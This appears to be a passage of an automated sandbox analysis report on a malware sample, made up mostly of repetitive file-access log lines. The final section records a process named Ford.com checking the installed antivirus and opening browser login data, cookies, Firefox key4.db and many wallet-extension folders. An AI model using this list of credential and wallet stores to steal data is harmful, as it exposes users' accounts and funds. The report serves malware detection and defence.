      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comQueries volume information: C:\ VolumeInformation
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
